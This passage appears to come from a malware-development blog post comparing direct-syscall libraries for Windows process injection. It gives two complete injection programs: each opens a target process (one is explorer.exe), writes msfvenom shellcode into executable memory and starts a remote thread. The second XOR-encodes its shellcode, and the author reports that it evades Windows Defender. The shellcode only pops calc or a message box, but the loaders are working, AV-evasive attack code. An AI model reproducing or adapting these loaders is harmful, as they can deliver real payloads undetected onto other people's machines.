	DWORD pid = 11256;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(hProcess);
	NtClose(hThread);

	return 0;
}

The downside of using this tool is that it’s already signatured by AV, though it can still be bypassed as mentioned in my previous post.

For x86 syscalls, mai1zhi2/SysWhispers2_x86 could be used.

inline_syscall

Aside from being detected by AVs, the other thing that I don’t like with jthuraisamy/SysWhispers2 is the additional task of re-running the tool and re-importing the generated files every time I need to add or use a new “Nt*” functions.

Good thing, JustasMasiulis/inline_syscall solves this issue. To use it, simply import the following files as header files:

• in_memory_init.hpp
• inline_syscall.hpp
• inline_syscall.inl

Then call the initialization function jm::init_syscalls_list() before using the INLINE_SYSCALL(function_pointer) and INLINE_SYSCALL_T(function_type) macros.

NOTE: If you’re using Visual Studio, make sure to use LLVM (clang-cl) as the Platform Toolset.

Here’s an example code that utilizes the INLINE_SYSCALL macro:

#include <Windows.h>
#include "lib/in_memory_init.hpp"

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);

NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);

NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

NTSTATUS NtClose(IN HANDLE Handle);

int main(int argc, char* argv[])
{
	jm::init_syscalls_list();

	// PID of explorer.exe
	DWORD pid = 4396;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	INLINE_SYSCALL(NtClose)(hProcess);
	INLINE_SYSCALL(NtClose)(hThread);

	return 0;
}

NOTE: Make sure to create the necessary structs and typedefs as this tool won’t do it for you, unlike jthuraisamy/SysWhispers2.

TIP: Use jthuraisamy/SysWhispers2 to generate the required structs and typedefs, then utilize JustasMasiulis/inline_syscall when using syscalls.

If we run the compiled binary against Windows Defender, it was not detected (at the time of writing) compared to the binary generated with jthuraisamy/SysWhispers2.

Conclusion

That’s it for now! I know I may have missed some libraries, so if you know some easy to use libraries for malware development, feel free to let me know and I can add them here.

Huge thanks to all the people who are dedicating their time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, please support and sponsor their work.